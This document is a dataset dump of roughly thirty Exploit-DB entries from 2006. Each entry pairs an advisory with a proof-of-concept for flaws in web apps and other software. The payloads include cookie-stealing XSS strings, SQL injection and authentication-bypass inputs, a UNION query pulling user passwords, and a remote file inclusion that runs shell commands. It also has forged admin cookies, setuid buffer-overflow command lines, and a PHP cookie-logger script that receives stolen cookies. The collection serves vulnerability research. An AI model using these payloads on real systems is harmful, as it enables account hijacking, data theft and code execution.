QLWD/code_shield huggingface dataset:
标题: EZDatabase 2.1.1 - 'index.php' Cross-Site Scripting EDB-ID: 27093 CVE: 2006-0315 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16257/info

EZDatabase is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions less than 2.1.2 are reported to be affected; other versions may also be vulnerable. 

http://www.example.com/index.php?db_id=1&cat_id=1&display=30&p=%3Cscript%3Ealert(document.cookie)%3C/script%3E&rowstart=90 URL: https://www.exploit-db.com/exploits/27093
标题: GTP iCommerce - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27092 CVE: 2006-0237 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16255/info

GTP iCommerce is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?page=listStory&cat=Programs+and+Services&subcat=[code]
http://www.example.com/index.php?page=listStory&cat=[code] URL: https://www.exploit-db.com/exploits/27092
标题: Apache Geronimo 1.0 - Error Page Cross-Site Scripting EDB-ID: 27096 CVE: 2006-0254 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16260/info
 
Apache Geronimo is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. The attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/script-that-dont-has-to-exist.jsp?foobar="/><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27096
标题: SimpleBlog 2.1 - Multiple Input Validation Vulnerabilities EDB-ID: 27083 CVE: 2006-0240 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16243/info

SimpleBlog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, or the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/simpleblog/?view=archives&month='&year=2006 URL: https://www.exploit-db.com/exploits/27083
标题: Bit 5 Blog 8.1 - 'index.php' SQL Injection EDB-ID: 27084 CVE: 2006-0320 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16244/info

Bit 5 Blog is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
http://www.example.com/admin/index.php
User Name: a' or 1/*
Password: a' or 1/* URL: https://www.exploit-db.com/exploits/27084
标题: White Album 2.5 - 'Pictures.php' SQL Injection EDB-ID: 27086 CVE: 2006-0235 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16247/info

White Album is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

An example URI has been provided:

http://www.example.com/folder/pictures.php?dir=[SQL] URL: https://www.exploit-db.com/exploits/27086
标题: GeoBlog 1.0 - 'viewcat.php' SQL Injection EDB-ID: 27087 CVE: 2006-0249 类型: WEBAPPS 平台: PHP 发布日期: 2005-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16249/info

geoBlog is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept URI is available:
http://www.example.com/geoblog/viewcat.php?cat=I'%20union%20select%201,2,3,4,5,6,7/* URL: https://www.exploit-db.com/exploits/27087
标题: Apache Tomcat / Geronimo 1.0 - 'Sample Script cal2.jsp?time' Cross-Site Scripting EDB-ID: 27095 CVE: 2006-0254 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16260/info

Apache Geronimo is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

A successful exploit could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. The attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/jsp-examples/cal/cal2.jsp?time="/><script>alert('Gotcha')</script> URL: https://www.exploit-db.com/exploits/27095
标题: Bit 5 Blog 8.1 - 'addcomment.php' HTML Injection EDB-ID: 27085 CVE: 2006-0361 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16246/info

Bit 5 Blog is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

The following proof of concept is available:
<a href=javascript:alert(123)>clickme</a> URL: https://www.exploit-db.com/exploits/27085
标题: Microsoft Visual Studio - UserControl Remote Code Execution (2) EDB-ID: 27073 CVE: 2006-0187 类型: REMOTE 平台: WINDOWS 发布日期: 2006-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/16225/info
 
Microsoft Visual Studio is prone to a vulnerability that could allow remote attackers to execute arbitrary code. This issue stems from a design flaw that executes code contained in a project file without first notifying users.
 
Exploiting this issue allows attackers to execute arbitrary code in the context of the user viewing a malicious project file. Since viewing a project file is usually considered a safe operation, users may have a false sense of security by attempting to inspect unknown code before compiling or executing it.
 
This vulnerability may be remotely exploited due to project files originating from untrusted sources.
 
Visual Studio 2005 is reportedly vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27073.zip URL: https://www.exploit-db.com/exploits/27073
标题: Web Host Automation Ltd. Helm 3.2.8 - 'ForgotPassword.asp' Cross-Site Scripting EDB-ID: 27079 CVE: 2006-0211 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/16234/info

Helm is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.2.8 is reported vulnerable; other versions may also be affected.

http://www.example.com/forgotPassword.asp?txtEmailAddress=[XSS] URL: https://www.exploit-db.com/exploits/27079
标题: Alstrasoft Template Seller Pro 3.25 - 'Fullview.php' Cross-Site Scripting EDB-ID: 27078 CVE: 2006-0222 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/16233/info

Template Seller Pro is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The discoverer of this vulnerability did not specify which version of this application is vulnerable. 

http://www.example.com/template/fullview.php?tempid=[XSS] URL: https://www.exploit-db.com/exploits/27078
标题: MyPHPim - 'calendar.php3?cal_id' SQL Injection EDB-ID: 27067 CVE: 2006-0167 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16210/info

MyPhPim is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/myphpim/calendar.php3?menu=detail&cal_id=999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* URL: https://www.exploit-db.com/exploits/27067
标题: Interspire TrackPoint NX - 'index.php' Cross-Site Scripting EDB-ID: 27070 CVE: 2006-0210 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/16214/info

TrackPoint NX is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

TrackPoint NX versions less than 0.1 are reported to be vulnerable. 

http://www.example.com/[tpointdir]/index.php?Page=login&Action=Login&username=[XSS] URL: https://www.exploit-db.com/exploits/27070
标题: Fog Creek Software FogBugz 4.0 29 - 'default.asp' Cross-Site Scripting EDB-ID: 27071 CVE: 2006-0194 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/16216/info

FogBugz is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

FogBugz versions 4.029 and prior are vulnerable. 

http://www.example.com/default.asp?pg=pgLogon&dest=[XSS] URL: https://www.exploit-db.com/exploits/27071
标题: Cray UNICOS /etc/nu - '-c' Option Filename Processing Local Overflow EDB-ID: 27066 CVE: 2006-0177 类型: LOCAL 平台: LINUX 发布日期: 2006-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/16205/info
 
Cray UNICOS is prone to locally exploitable buffer overflow vulnerabilities. These issues are due to insufficient bounds checking of command line parameters in various utilities with setuid-superuser privileges.
 
Successful exploitation could result in execution of malicious machine code with superuser privileges, facilitating the complete compromise of affected computers.
 
These issues are reported in version 9.0.2.2 of UNICOS; other versions may also be affected. 

for '/etc/nu':
echo "" >> /tmp/acid
udbgen -p /tmp
echo `perl -e 'print "A"x10000'` >> /tmp/script
/etc/nu -p /tmp -c /tmp/script -a URL: https://www.exploit-db.com/exploits/27066
标题: Ultimate Auction 3.67 - Item.pl Cross-Site Scripting EDB-ID: 27081 CVE: 2006-0217 类型: WEBAPPS 平台: CGI 发布日期: 2006-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16239/info

Ultimate Auction is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 3.67 is vulnerable to this issue; prior versions may also be affected. 

http://www.example.com/item.pl?item=<script>alert("XSS")</script> URL: https://www.exploit-db.com/exploits/27081
标题: TankLogger 2.4 General Functions Script - SQL Injection EDB-ID: 27075 CVE: 2006-0209 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/16228/info

TankLogger is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/exp/tanklogger/showInfo.php? livestock_id=99'% 20union%20select% 201,2,3,4,5, 6,7,8,9/* URL: https://www.exploit-db.com/exploits/27075
标题: MyPHPim - Login Page pass Field SQL Injection EDB-ID: 27068 CVE: 2006-0167 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16210/info
 
MyPhPim is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

login: [first registered user]
pass: a") or "a"="a"/* URL: https://www.exploit-db.com/exploits/27068
标题: Apple QuickTime 6.4/6.5/7.0.x - PictureViewer '.JPEG'/.PICT' File Buffer Overflow EDB-ID: 27069 CVE: 2005-2340 类型: DOS 平台: WINDOWS 发布日期: 2006-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16212/info

Apple QuickTime is prone to a buffer-overflow vulnerability because the application fails to do proper bounds checking on user-supplied data before copying it to finite-sized process buffers.

An attacker may be able to exploit this issue to execute arbitrary machine code in the context of the affected application, but this has not been confirmed. Unsuccessful exploit attempts will most likely crash the application.

This issue affects QuickTime 6.5.2 and 7.0.3; other versions may also be vulnerable. QuickTime 7.0.4 may also be vulnerable, but this has not been confirmed.

This issue may have previously been discussed in BID 16202 (Apple QuickTime Multiple Code Execution Vulnerabilities). 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27069.jpg URL: https://www.exploit-db.com/exploits/27069
标题: Cray UNICOS /usr/bin/script - Command Line Argument Local Overflow EDB-ID: 27065 CVE: 2006-0177 类型: LOCAL 平台: LINUX 发布日期: 2006-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/16205/info

Cray UNICOS is prone to locally exploitable buffer overflow vulnerabilities. These issues are due to insufficient bounds checking of command line parameters in various utilities with setuid-superuser privileges.

Successful exploitation could result in execution of malicious machine code with superuser privileges, facilitating the complete compromise of affected computers.

These issues are reported in version 9.0.2.2 of UNICOS; other versions may also be affected. 

for '/usr/bin/script':
script `perl -e 'print "A"x1000'` URL: https://www.exploit-db.com/exploits/27065
标题: Xoops Pool Module - IMG Tag HTML Injection EDB-ID: 27059 CVE: 2006-0198 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16189/info

The XOOPS Pool Module is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<img src="javascript:window.navigate('http://www.example.com/cookies.php?c='+document.cookie);"

cookies.php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('steal.php', 'a');
fwrite($fp, '
Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.' ');
fclose($fp);
?> URL: https://www.exploit-db.com/exploits/27059
标题: Hummingbird Collaboration - Crafted URL File Property Obscuration Download EDB-ID: 27061 CVE: 2006-0173 类型: WEBAPPS 平台: CGI 发布日期: 2006-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/16195/info

Hummingbird Enterprise Collaboration is prone to multiple vulnerabilities.

The following specific issues were identified:

The application reportedly allows remote attackers to upload arbitrary HTML files and script code to the application.

Another vulnerability allows attackers to trick users into downloading potentially malicious files.

An attacker may also disclose sensitive information about the server by sending specially crafted HTTP GET requests.

Hummingbird Enterprise Collaboration 5.2.1 and prior versions are vulnerable to these issues.

To trick users into downloading a potentially malicious file, the file is named 'fake.doc', however, a file with the ID of 1189762 is actually downloaded:
https://www.example.com/hc/hc/fake.doc?d=fc&o=dwnd&fid=1189762&did=89777&x=16080&doc_ext=.txt URL: https://www.exploit-db.com/exploits/27061
标题: 427BB 2.2 - Authentication Bypass EDB-ID: 27054 CVE: 2006-0153 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16178/info

427BB is prone to an authentication bypass vulnerability. This issue is due to a failure in the application to properly validate user-supplied data.

An attacker can exploit this issue to bypass the authentication mechanism and gain access to the affected application as an administrative user. This may facilitate a compromise of the underlying system; other attacks are also possible.

This issue affects version 2.2 and 2.2.1; other versions may also be vulnerable. 

The following demonstrates cookie-data sufficient to exploit this issue:
username=admin;
authenticated=1;
usertype=admin; URL: https://www.exploit-db.com/exploits/27054
标题: Hummingbird Collaboration - Application Cookie Internal Network Information Disclosure EDB-ID: 27062 CVE: 2006-0174 类型: WEBAPPS 平台: CGI 发布日期: 2006-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/16195/info
 
Hummingbird Enterprise Collaboration is prone to multiple vulnerabilities.
 
The following specific issues were identified:
 
The application reportedly allows remote attackers to upload arbitrary HTML files and script code to the application.
 
Another vulnerability allows attackers to trick users into downloading potentially malicious files.
 
An attacker may also disclose sensitive information about the server by sending specially crafted HTTP GET requests.
 
Hummingbird Enterprise Collaboration 5.2.1 and prior versions are vulnerable to these issues.

To disclose the internal IP address:

https://www.example.com/hc/hc?d=mes&x=20433&ntb=[numericParam]

Where the ntb parameter is supplied a numeric value instead of a string value. The internal IP address of the server may be found in a cookie. URL: https://www.exploit-db.com/exploits/27062
标题: Orjinweb - 'index.php' Remote File Inclusion EDB-ID: 27064 CVE: 2006-0171 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/16199/info

Orjinweb is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/?page=http://www.example.com/evilcode.txt?&cmd=uname -a URL: https://www.exploit-db.com/exploits/27064
标题: 427BB 2.2 - 'showthread.php' SQL Injection EDB-ID: 27052 CVE: 2006-0154 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16169/info

427BB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue affects versions 2.2 and 2.2.1; other versions may also be vulnerable. 

http://www.example.com/bb427/showthread.php?ForumID=999%20union%20select%20UserName,Passwrod,null,null%20from%20prefPersonal URL: https://www.exploit-db.com/exploits/27052
标题: WebWiz Forums - 'Search_form.asp' Cross-Site Scripting EDB-ID: 27063 CVE: 2006-0175 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/16196/info

WebWiz Forums is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[webwizdir]/search_form.asp?ReturnPage=Search&search=XSS&searchMode=allwords&searchIn=Topic&forum=0&searchSort=dateDESC&SearchPagePosition=1 URL: https://www.exploit-db.com/exploits/27063
标题: Venom Board - 'Post.php3' Multiple SQL Injections EDB-ID: 27053 CVE: 2006-0160 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16176/info

Venom Board is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/venomboard/forum/post.php3?topic_id=999%20union%20select%201,2,3,4,5,6,7/* URL: https://www.exploit-db.com/exploits/27053